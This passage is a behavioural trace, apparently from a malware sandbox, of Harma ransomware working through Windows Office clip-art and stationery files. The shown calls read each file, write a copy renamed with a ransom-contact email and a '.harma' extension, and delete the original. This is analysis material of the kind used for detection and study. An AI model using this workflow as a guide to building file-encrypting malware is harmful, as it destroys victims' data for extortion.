-1 [0134.088] lstrlenW (lpString=".ppt") returned 4 [0134.088] lstrcmpiW (lpString1=".ppt", lpString2=".jpg") returned 1 [0134.088] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\Stationery\\OrangeCircles.jpg") returned 75 [0134.088] lstrlenW (lpString=".zip") returned 4 [0134.088] lstrcmpiW (lpString1=".zip", lpString2=".jpg") returned 1 [0134.088] lstrlenW (lpString=".rar") returned 4 [0134.088] lstrcmpiW (lpString1=".rar", lpString2=".jpg") returned 1 [0134.088] lstrlenW (lpString=".bz2") returned 4 [0134.088] lstrcmpiW (lpString1=".bz2", lpString2=".jpg") returned -1 [0134.088] lstrlenW (lpString=".7z") returned 3 [0134.088] lstrcmpiW (lpString1=".7z", lpString2="jpg") returned -1 [0134.088] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\Stationery\\OrangeCircles.jpg") returned 75 [0134.088] lstrlenW (lpString=".dbf") returned 4 [0134.088] lstrcmpiW (lpString1=".dbf", lpString2=".jpg") returned -1 [0134.088] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\Stationery\\OrangeCircles.jpg") returned 75 [0134.088] lstrlenW (lpString=".1cd") returned 4 [0134.088] lstrcmpiW (lpString1=".1cd", lpString2=".jpg") returned -1 [0134.088] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\Stationery\\OrangeCircles.jpg") returned 75 [0134.088] lstrlenW (lpString=".jpg") returned 4 [0134.088] lstrcmpiW (lpString1=".jpg", lpString2=".jpg") returned 0 [0134.088] lstrcmpiW (lpString1=".jpg", lpString2=".harma") returned 1 [0134.088] lstrlenW (lpString="SoftBlue.jpg") returned 12 [0134.088] CreateFileW (lpFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\Stationery\\SoftBlue.jpg" (normalized: "c:\\program files\\common files\\microsoft shared\\stationery\\softblue.jpg"), dwDesiredAccess=0x80000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x21c [0134.089] GetFileSizeEx (in: hFile=0x21c, lpFileSize=0x2ffff1c | out: lpFileSize=0x2ffff1c*=10569) returned 1 [0134.089] CloseHandle (hObject=0x21c) returned 1 [0134.089] GetFileAttributesW (lpFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\Stationery\\SoftBlue.jpg" (normalized: "c:\\program files\\common files\\microsoft shared\\stationery\\softblue.jpg")) returned 0x20 [0134.089] GetFileAttributesW (lpFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\Stationery\\SoftBlue.jpg.id-9C354B42.[gillian.cher@aol.com].harma" (normalized: "c:\\program files\\common files\\microsoft shared\\stationery\\softblue.jpg.id-9c354b42.[gillian.cher@aol.com].harma")) returned 0xffffffff [0134.089] CreateFileW (lpFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\Stationery\\SoftBlue.jpg" (normalized: "c:\\program files\\common files\\microsoft shared\\stationery\\softblue.jpg"), dwDesiredAccess=0xc0000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0xffffffff [0134.089] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\Stationery\\SoftBlue.jpg") returned 70 [0134.090] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\Stationery\\SoftBlue.jpg") returned 70 [0134.090] lstrlenW (lpString=".doc") returned 4 [0134.090] lstrcmpiW (lpString1=".doc", lpString2=".jpg") returned -1 [0134.090] lstrlenW (lpString=".docx") returned 5 [0134.090] lstrcmpiW (lpString1=".docx", lpString2="e.jpg") returned -1 [0134.090] lstrlenW (lpString=".pdf") returned 4 [0134.090] lstrcmpiW (lpString1=".pdf", lpString2=".jpg") returned 1 [0134.090] lstrlenW (lpString=".xls") returned 4 [0134.090] lstrcmpiW (lpString1=".xls", lpString2=".jpg") returned 1 [0134.090] lstrlenW (lpString=".xlsx") returned 5 [0134.090] lstrcmpiW (lpString1=".xlsx", lpString2="e.jpg") returned -1 [0134.090] lstrlenW (lpString=".ppt") returned 4 [0134.090] lstrcmpiW (lpString1=".ppt", lpString2=".jpg") returned 1 [0134.090] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\Stationery\\SoftBlue.jpg") returned 70 [0134.090] lstrlenW (lpString=".zip") returned 4 [0134.090] lstrcmpiW (lpString1=".zip", lpString2=".jpg") returned 1 [0134.090] lstrlenW (lpString=".rar") returned 4 [0134.090] lstrcmpiW (lpString1=".rar", lpString2=".jpg") returned 1 [0134.090] lstrlenW (lpString=".bz2") returned 4 [0134.090] lstrcmpiW (lpString1=".bz2", lpString2=".jpg") returned -1 [0134.090] lstrlenW (lpString=".7z") returned 3 [0134.090] lstrcmpiW (lpString1=".7z", lpString2="jpg") returned -1 [0134.090] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\Stationery\\SoftBlue.jpg") returned 70 [0134.090] lstrlenW (lpString=".dbf") returned 4 [0134.090] lstrcmpiW (lpString1=".dbf", lpString2=".jpg") returned -1 [0134.090] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\Stationery\\SoftBlue.jpg") returned 70 [0134.090] lstrlenW (lpString=".1cd") returned 4 [0134.090] lstrcmpiW (lpString1=".1cd", lpString2=".jpg") returned -1 [0134.090] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\Stationery\\SoftBlue.jpg") returned 70 [0134.090] lstrlenW (lpString=".jpg") returned 4 [0134.090] lstrcmpiW (lpString1=".jpg", lpString2=".jpg") returned 0 [0134.091] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\Stationery\\SoftBlue.jpg") returned 70 [0134.091] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\Stationery\\SoftBlue.jpg") returned 70 [0134.091] lstrlenW (lpString=".doc") returned 4 [0134.091] lstrcmpiW (lpString1=".doc", lpString2=".jpg") returned -1 [0134.091] lstrlenW (lpString=".docx") returned 5 [0134.091] lstrcmpiW (lpString1=".docx", lpString2="e.jpg") returned -1 [0134.091] lstrlenW (lpString=".pdf") returned 4 [0134.091] lstrcmpiW (lpString1=".pdf", lpString2=".jpg") returned 1 [0134.091] lstrlenW (lpString=".xls") returned 4 [0134.091] lstrcmpiW (lpString1=".xls", lpString2=".jpg") returned 1 [0134.091] lstrlenW (lpString=".xlsx") returned 5 [0134.091] lstrcmpiW (lpString1=".xlsx", lpString2="e.jpg") returned -1 [0134.091] lstrlenW (lpString=".ppt") returned 4 [0134.091] lstrcmpiW (lpString1=".ppt", lpString2=".jpg") returned 1 [0134.091] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\Stationery\\SoftBlue.jpg") returned 70 [0134.091] lstrlenW (lpString=".zip") returned 4 [0134.091] lstrcmpiW (lpString1=".zip", lpString2=".jpg") returned 1 [0134.091] lstrlenW (lpString=".rar") returned 4 [0134.091] lstrcmpiW (lpString1=".rar", lpString2=".jpg") returned 1 [0134.091] lstrlenW (lpString=".bz2") returned 4 [0134.091] lstrcmpiW (lpString1=".bz2", lpString2=".jpg") returned -1 [0134.091] lstrlenW (lpString=".7z") returned 3 [0134.091] lstrcmpiW (lpString1=".7z", lpString2="jpg") returned -1 [0134.091] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\Stationery\\SoftBlue.jpg") returned 70 [0134.091] lstrlenW (lpString=".dbf") returned 4 [0134.091] lstrcmpiW (lpString1=".dbf", lpString2=".jpg") returned -1 [0134.091] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\Stationery\\SoftBlue.jpg") returned 70 [0134.091] lstrlenW (lpString=".1cd") returned 4 [0134.091] lstrcmpiW (lpString1=".1cd", lpString2=".jpg") returned -1 [0134.091] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\Stationery\\SoftBlue.jpg") returned 70 [0134.091] lstrlenW (lpString=".jpg") returned 4 [0134.091] lstrcmpiW (lpString1=".jpg", lpString2=".jpg") returned 0 [0134.092] lstrcmpiW (lpString1=".htm", lpString2=".harma") returned 1 [0134.092] lstrlenW (lpString="Stars.htm") returned 9 [0134.092] CreateFileW (lpFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\Stationery\\Stars.htm" (normalized: "c:\\program files\\common files\\microsoft shared\\stationery\\stars.htm"), dwDesiredAccess=0x80000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x21c [0134.092] GetFileSizeEx (in: hFile=0x21c, lpFileSize=0x2ffff1c | out: lpFileSize=0x2ffff1c*=230) returned 1 [0134.092] CloseHandle (hObject=0x21c) returned 1 [0134.092] GetFileAttributesW (lpFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\Stationery\\Stars.htm" (normalized: "c:\\program files\\common files\\microsoft shared\\stationery\\stars.htm")) returned 0x20 [0134.092] GetFileAttributesW (lpFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\Stationery\\Stars.htm.id-9C354B42.[gillian.cher@aol.com].harma" (normalized: "c:\\program files\\common files\\microsoft shared\\stationery\\stars.htm.id-9c354b42.[gillian.cher@aol.com].harma")) returned 0xffffffff [0134.092] CreateFileW (lpFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\Stationery\\Stars.htm" (normalized: "c:\\program files\\common files\\microsoft shared\\stationery\\stars.htm"), dwDesiredAccess=0xc0000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0xffffffff [0134.092] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\Stationery\\Stars.htm") returned 67 [0134.092] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\Stationery\\Stars.htm") returned 67 [0134.092] lstrlenW (lpString=".doc") returned 4 [0134.092] lstrcmpiW (lpString1=".doc", lpString2=".htm") returned -1 [0134.092] lstrlenW (lpString=".docx") returned 5 [0134.092] lstrcmpiW (lpString1=".docx", lpString2="s.htm") returned -1 [0134.093] lstrlenW (lpString=".pdf") returned 4 [0134.093] lstrcmpiW (lpString1=".pdf", lpString2=".htm") returned 1 [0134.093] lstrlenW (lpString=".xls") returned 4 [0134.093] lstrcmpiW (lpString1=".xls", lpString2=".htm") returned 1 [0134.093] lstrlenW (lpString=".xlsx") returned 5 [0134.093] lstrcmpiW (lpString1=".xlsx", lpString2="s.htm") returned -1 [0134.093] lstrlenW (lpString=".ppt") returned 4 [0134.093] lstrcmpiW (lpString1=".ppt", lpString2=".htm") returned 1 [0134.093] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\Stationery\\Stars.htm") returned 67 [0134.093] lstrlenW (lpString=".zip") returned 4 [0134.093] lstrcmpiW (lpString1=".zip", lpString2=".htm") returned 1 [0134.093] lstrlenW (lpString=".rar") returned 4 [0134.093] lstrcmpiW (lpString1=".rar", lpString2=".htm") returned 1 [0134.093] lstrlenW (lpString=".bz2") returned 4 [0134.093] lstrcmpiW (lpString1=".bz2", lpString2=".htm") returned -1 [0134.093] lstrlenW (lpString=".7z") returned 3 [0134.093] lstrcmpiW (lpString1=".7z", lpString2="htm") returned -1 [0134.093] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\Stationery\\Stars.htm") returned 67 [0134.093] lstrlenW (lpString=".dbf") returned 4 [0134.093] lstrcmpiW (lpString1=".dbf", lpString2=".htm") returned -1 [0136.681] SetFilePointerEx (in: hFile=0x2e8, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2fffec8 | out: lpNewFilePointer=0x0) returned 1 [0136.681] SetFilePointerEx (in: hFile=0x2e8, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2fffec8 | out: lpNewFilePointer=0x0) returned 1 [0136.682] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\AN00965_.WMF.id-9C354B42.[gillian.cher@aol.com].harma" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\an00965_.wmf.id-9c354b42.[gillian.cher@aol.com].harma"), dwDesiredAccess=0x40000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x34c [0138.786] GetLastError () returned 0x0 [0138.786] ReadFile (in: hFile=0x2e8, lpBuffer=0x3c10020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x2fffed4, lpOverlapped=0x0 | out: lpBuffer=0x3c10020*, lpNumberOfBytesRead=0x2fffed4*=0x1ba0, lpOverlapped=0x0) returned 1 [0138.824] WriteFile (in: hFile=0x34c, lpBuffer=0x3c10020*, nNumberOfBytesToWrite=0x1bb0, lpNumberOfBytesWritten=0x2fffc9c, lpOverlapped=0x0 | out: lpBuffer=0x3c10020*, lpNumberOfBytesWritten=0x2fffc9c*=0x1bb0, lpOverlapped=0x0) returned 1 [0138.825] ReadFile (in: hFile=0x2e8, lpBuffer=0x3c10020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x2fffed4, lpOverlapped=0x0 | out: lpBuffer=0x3c10020*, lpNumberOfBytesRead=0x2fffed4*=0x0, lpOverlapped=0x0) returned 1 [0138.825] WriteFile (in: hFile=0x34c, lpBuffer=0x3c10020*, nNumberOfBytesToWrite=0xec, lpNumberOfBytesWritten=0x2fffc9c, lpOverlapped=0x0 | out: lpBuffer=0x3c10020*, lpNumberOfBytesWritten=0x2fffc9c*=0xec, lpOverlapped=0x0) returned 1 [0138.825] SetEndOfFile (hFile=0x34c) returned 1 [0138.825] CloseHandle (hObject=0x34c) returned 1 [0138.825] SetFilePointerEx (in: hFile=0x2e8, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2fffec8 | out: lpNewFilePointer=0x0) returned 1 [0138.825] SetEndOfFile (hFile=0x2e8) returned 1 [0138.828] CloseHandle (hObject=0x2e8) returned 1 [0138.828] SetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\AN00965_.WMF.id-9C354B42.[gillian.cher@aol.com].harma", dwFileAttributes=0x20) returned 1 [0138.833] DeleteFileW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\AN00965_.WMF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\an00965_.wmf")) returned 1 [0139.247] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\AN00965_.WMF") returned 63 [0139.247] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\AN00965_.WMF") returned 63 [0139.247] lstrlenW (lpString=".doc") returned 4 [0139.247] lstrcmpiW (lpString1=".doc", lpString2=".WMF") returned -1 [0139.247] lstrlenW (lpString=".docx") returned 5 [0139.247] lstrcmpiW (lpString1=".docx", lpString2="_.WMF") returned -1 [0139.247] lstrlenW (lpString=".pdf") returned 4 [0139.247] lstrcmpiW (lpString1=".pdf", lpString2=".WMF") returned -1 [0139.247] lstrlenW (lpString=".xls") returned 4 [0139.247] lstrcmpiW (lpString1=".xls", lpString2=".WMF") returned 1 [0139.247] lstrlenW (lpString=".xlsx") returned 5 [0139.247] lstrcmpiW (lpString1=".xlsx", lpString2="_.WMF") returned -1 [0139.247] lstrlenW (lpString=".ppt") returned 4 [0139.247] lstrcmpiW (lpString1=".ppt", lpString2=".WMF") returned -1 [0139.247] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\AN00965_.WMF") returned 63 [0139.247] lstrlenW (lpString=".zip") returned 4 [0139.247] lstrcmpiW (lpString1=".zip", lpString2=".WMF") returned 1 [0139.247] lstrlenW (lpString=".rar") returned 4 [0139.247] lstrcmpiW (lpString1=".rar", lpString2=".WMF") returned -1 [0139.248] lstrlenW (lpString=".bz2") returned 4 [0139.248] lstrcmpiW (lpString1=".bz2", lpString2=".WMF") returned -1 [0139.248] lstrlenW (lpString=".7z") returned 3 [0139.248] lstrcmpiW (lpString1=".7z", lpString2="WMF") returned -1 [0139.248] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\AN00965_.WMF") returned 63 [0139.248] lstrlenW (lpString=".dbf") returned 4 [0139.248] lstrcmpiW (lpString1=".dbf", lpString2=".WMF") returned -1 [0139.248] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\AN00965_.WMF") returned 63 [0139.248] lstrlenW (lpString=".1cd") returned 4 [0139.248] lstrcmpiW (lpString1=".1cd", lpString2=".WMF") returned -1 [0139.248] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\AN00965_.WMF") returned 63 [0139.248] lstrlenW (lpString=".jpg") returned 4 [0139.248] lstrcmpiW (lpString1=".jpg", lpString2=".WMF") returned -1 [0139.248] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\AN00965_.WMF") returned 63 [0139.248] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\AN00965_.WMF") returned 63 [0139.248] lstrlenW (lpString=".doc") returned 4 [0139.248] lstrcmpiW (lpString1=".doc", lpString2=".WMF") returned -1 [0139.248] lstrlenW (lpString=".docx") returned 5 [0139.248] lstrcmpiW (lpString1=".docx", lpString2="_.WMF") returned -1 [0139.248] lstrlenW (lpString=".pdf") returned 4 [0139.248] lstrcmpiW (lpString1=".pdf", lpString2=".WMF") returned -1 [0139.248] lstrlenW (lpString=".xls") returned 4 [0139.248] lstrcmpiW (lpString1=".xls", lpString2=".WMF") returned 1 [0139.248] lstrlenW (lpString=".xlsx") returned 5 [0139.248] lstrcmpiW (lpString1=".xlsx", lpString2="_.WMF") returned -1 [0139.248] lstrlenW (lpString=".ppt") returned 4 [0139.249] lstrcmpiW (lpString1=".ppt", lpString2=".WMF") returned -1 [0139.249] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\AN00965_.WMF") returned 63 [0139.249] lstrlenW (lpString=".zip") returned 4 [0139.249] lstrcmpiW (lpString1=".zip", lpString2=".WMF") returned 1 [0139.249] lstrlenW (lpString=".rar") returned 4 [0139.249] lstrcmpiW (lpString1=".rar", lpString2=".WMF") returned -1 [0139.249] lstrlenW (lpString=".bz2") returned 4 [0139.249] lstrcmpiW (lpString1=".bz2", lpString2=".WMF") returned -1 [0139.249] lstrlenW (lpString=".7z") returned 3 [0139.249] lstrcmpiW (lpString1=".7z", lpString2="WMF") returned -1 [0139.249] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\AN00965_.WMF") returned 63 [0139.249] lstrlenW (lpString=".dbf") returned 4 [0139.249] lstrcmpiW (lpString1=".dbf", lpString2=".WMF") returned -1 [0139.249] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\AN00965_.WMF") returned 63 [0139.249] lstrlenW (lpString=".1cd") returned 4 [0139.249] lstrcmpiW (lpString1=".1cd", lpString2=".WMF") returned -1 [0139.249] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\AN00965_.WMF") returned 63 [0139.249] lstrlenW (lpString=".jpg") returned 4 [0139.249] lstrcmpiW (lpString1=".jpg", lpString2=".WMF") returned -1 [0139.249] lstrcmpiW (lpString1=".WMF", lpString2=".harma") returned 1 [0139.250] lstrlenW (lpString="AN01218_.WMF") returned 12 [0139.250] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\AN01218_.WMF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\an01218_.wmf"), dwDesiredAccess=0x80000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x33c [0139.340] GetFileSizeEx (in: hFile=0x33c, lpFileSize=0x2ffff1c | out: lpFileSize=0x2ffff1c*=3012) returned 1 [0139.340] CloseHandle (hObject=0x33c) returned 1 [0139.340] GetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\AN01218_.WMF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\an01218_.wmf")) returned 0x20 [0139.340] GetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\AN01218_.WMF.id-9C354B42.[gillian.cher@aol.com].harma" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\an01218_.wmf.id-9c354b42.[gillian.cher@aol.com].harma")) returned 0xffffffff [0139.340] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\AN01218_.WMF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\an01218_.wmf"), dwDesiredAccess=0xc0000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x33c [0139.341] SetFilePointerEx (in: hFile=0x33c, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2fffec8 | out: lpNewFilePointer=0x0) returned 1 [0139.341] SetFilePointerEx (in: hFile=0x33c, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2fffec8 | out: lpNewFilePointer=0x0) returned 1 [0139.341] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\AN01218_.WMF.id-9C354B42.[gillian.cher@aol.com].harma" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\an01218_.wmf.id-9c354b42.[gillian.cher@aol.com].harma"), dwDesiredAccess=0x40000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x21c [0139.397] GetLastError () returned 0x0 [0139.397] ReadFile (in: hFile=0x33c, lpBuffer=0x3c10020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x2fffed4, lpOverlapped=0x0 | out: lpBuffer=0x3c10020*, lpNumberOfBytesRead=0x2fffed4*=0xbc4, lpOverlapped=0x0) returned 1 [0139.402] WriteFile (in: hFile=0x21c, lpBuffer=0x3c10020*, nNumberOfBytesToWrite=0xbd0, lpNumberOfBytesWritten=0x2fffc9c, lpOverlapped=0x0 | out: lpBuffer=0x3c10020*, lpNumberOfBytesWritten=0x2fffc9c*=0xbd0, lpOverlapped=0x0) returned 1 [0139.403] ReadFile (in: hFile=0x33c, lpBuffer=0x3c10020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x2fffed4, lpOverlapped=0x0 | out: lpBuffer=0x3c10020*, lpNumberOfBytesRead=0x2fffed4*=0x0, lpOverlapped=0x0) returned 1 [0139.403] WriteFile (in: hFile=0x21c, lpBuffer=0x3c10020*, nNumberOfBytesToWrite=0xec, lpNumberOfBytesWritten=0x2fffc9c, lpOverlapped=0x0 | out: lpBuffer=0x3c10020*, lpNumberOfBytesWritten=0x2fffc9c*=0xec, lpOverlapped=0x0) returned 1 [0139.403] SetEndOfFile (hFile=0x21c) returned 1 [0139.404] CloseHandle (hObject=0x21c) returned 1 [0139.404] SetFilePointerEx (in: hFile=0x33c, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2fffec8 | out: lpNewFilePointer=0x0) returned 1 [0139.404] SetEndOfFile (hFile=0x33c) returned 1 [0139.406] CloseHandle (hObject=0x33c) returned 1 [0139.406] SetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\AN01218_.WMF.id-9C354B42.[gillian.cher@aol.com].harma", dwFileAttributes=0x20) returned 1 [0139.406] DeleteFileW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\AN01218_.WMF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\an01218_.wmf")) returned 1 [0139.407] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\AN01218_.WMF") returned 63 [0139.407] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\AN01218_.WMF") returned 63 [0139.407] lstrlenW (lpString=".doc") returned 4 [0139.407] lstrcmpiW (lpString1=".doc", lpString2=".WMF") returned -1 [0139.407] lstrlenW (lpString=".docx") returned 5 [0139.407] lstrcmpiW (lpString1=".docx", lpString2="_.WMF") returned -1 [0139.407] lstrlenW (lpString=".pdf") returned 4 [0139.407] lstrcmpiW (lpString1=".pdf", lpString2=".WMF") returned -1 [0139.407] lstrlenW (lpString=".xls") returned 4 [0139.407] lstrcmpiW (lpString1=".xls", lpString2=".WMF") returned 1 [0139.407] lstrlenW (lpString=".xlsx") returned 5 [0139.407] lstrcmpiW (lpString1=".xlsx", lpString2="_.WMF") returned -1 [0139.407] lstrlenW (lpString=".ppt") returned 4 [0139.407] lstrcmpiW (lpString1=".ppt", lpString2=".WMF") returned -1 [0139.407] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\AN01218_.WMF") returned 63 [0139.407] lstrlenW (lpString=".zip") returned 4 [0139.407] lstrcmpiW (lpString1=".zip", lpString2=".WMF") returned 1 [0139.407] lstrlenW (lpString=".rar") returned 4 [0139.407] lstrcmpiW (lpString1=".rar", lpString2=".WMF") returned -1 [0139.407] lstrlenW (lpString=".bz2") returned 4 [0139.407] lstrcmpiW (lpString1=".bz2", lpString2=".WMF") returned -1 [0139.407] lstrlenW (lpString=".7z") returned 3 [0139.407] lstrcmpiW (lpString1=".7z", lpString2="WMF") returned -1 [0139.407] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\AN01218_.WMF") returned 63 [0139.407] lstrlenW (lpString=".dbf") returned 4 [0139.408] lstrcmpiW (lpString1=".dbf", lpString2=".WMF") returned -1 [0139.408] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\AN01218_.WMF") returned 63 [0139.408] lstrlenW (lpString=".1cd") returned 4 [0139.408] lstrcmpiW (lpString1=".1cd", lpString2=".WMF") returned -1 [0139.408] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\AN01218_.WMF") returned 63 [0139.408] lstrlenW (lpString=".jpg") returned 4 [0139.408] lstrcmpiW (lpString1=".jpg", lpString2=".WMF") returned -1 [0139.408] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\AN01218_.WMF") returned 63 [0139.408] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\AN01218_.WMF") returned 63 [0139.408] lstrlenW (lpString=".doc") returned 4 [0139.408] lstrcmpiW (lpString1=".doc", lpString2=".WMF") returned -1 [0139.408] lstrlenW (lpString=".docx") returned 5 [0139.408] lstrcmpiW (lpString1=".docx", lpString2="_.WMF") returned -1 [0139.408] lstrlenW (lpString=".pdf") returned 4 [0139.408] lstrcmpiW (lpString1=".pdf", lpString2=".WMF") returned -1 [0139.408] lstrlenW (lpString=".xls") returned 4 [0139.408] lstrcmpiW (lpString1=".xls", lpString2=".WMF") returned 1 [0139.408] lstrlenW (lpString=".xlsx") returned 5 [0139.408] lstrcmpiW (lpString1=".xlsx", lpString2="_.WMF") returned -1 [0139.408] lstrlenW (lpString=".ppt") returned 4 [0139.408] lstrcmpiW (lpString1=".ppt", lpString2=".WMF") returned -1 [0139.408] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\AN01218_.WMF") returned 63 [0139.408] lstrlenW (lpString=".zip") returned 4 [0139.408] lstrcmpiW (lpString1=".zip", lpString2=".WMF") returned 1 [0139.408] lstrlenW (lpString=".rar") returned 4 [0139.408] lstrcmpiW (lpString1=".rar", lpString2=".WMF") returned -1 [0139.408] lstrlenW (lpString=".bz2") returned 4 [0139.408] lstrcmpiW (lpString1=".bz2", lpString2=".WMF") returned -1 [0139.409] lstrlenW (lpString=".7z") returned 3 [0139.409] lstrcmpiW (lpString1=".7z", lpString2="WMF") returned -1 [0139.409] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\AN01218_.WMF") returned 63 [0139.409] lstrlenW (lpString=".dbf") returned 4 [0139.409] lstrcmpiW (lpString1=".dbf", lpString2=".WMF") returned -1 [0139.409] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\AN01218_.WMF") returned 63 [0139.409] lstrlenW (lpString=".1cd") returned 4 [0139.409] lstrcmpiW (lpString1=".1cd", lpString2=".WMF") returned -1 [0139.409] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\AN01218_.WMF") returned 63 [0139.409] lstrlenW (lpString=".jpg") returned 4 [0139.409] lstrcmpiW (lpString1=".jpg", lpString2=".WMF") returned -1 [0139.409] lstrcmpiW (lpString1=".WMF", lpString2=".harma") returned 1 [0139.409] lstrlenW (lpString="AN02559_.WMF") returned 12 [0139.410] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\AN02559_.WMF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\an02559_.wmf"), dwDesiredAccess=0x80000000, dwShareMode=0x3, lpSecurityAttributes=0x0, 